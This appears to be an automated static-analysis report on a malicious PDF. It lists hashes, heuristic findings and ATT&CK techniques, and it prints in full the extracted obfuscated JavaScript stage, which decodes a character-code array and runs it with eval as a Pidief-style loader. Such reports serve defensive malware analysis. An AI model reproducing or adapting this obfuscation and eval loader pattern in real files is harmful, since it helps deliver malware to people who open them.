Malicious PDF — malware analysis report

Static analysis result for SHA-256 f04a384b7a58f232…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2026-05-09
MD5: eb8d67194a3fcba8bab01e1eb9714ac2 SHA-1: 2608601b28fa9dfe9cc2a142c041ab8517b5b5b6 SHA-256: f04a384b7a58f232bcd61f13fe94735fd53b69ea5c6e2114b3e5438181f5288b
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript stream is the primary indicator of malicious activity, likely serving as a downloader or initial execution vector for further malicious payloads. The document body text is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF15 501 bytes
SHA-256: a29f0f2af9481145cdd82d9b2ea9c6441b17632bbc488aaad992e96f444ac4c2
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[1],t[0]);
e=v[v]()[s];
ursuq=e(v[4]+'i'.concat(v[4],t));
q=ursuq[v](a.length-6,a.length+2);
ugk=e(v[0].toUpperCase().concat(v[4],'r','i','ng.f',q[4],a[6],q));
q=ursuq[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en','gth')];
i=t.length-2;
while(i<k){
	xzroi = 1*(q[i]);
	i++;
	xzroi -= (-1)*(q[i]);
	s2 = s2.concat(ugk(xzroi));
	i++;
}
e(s2);

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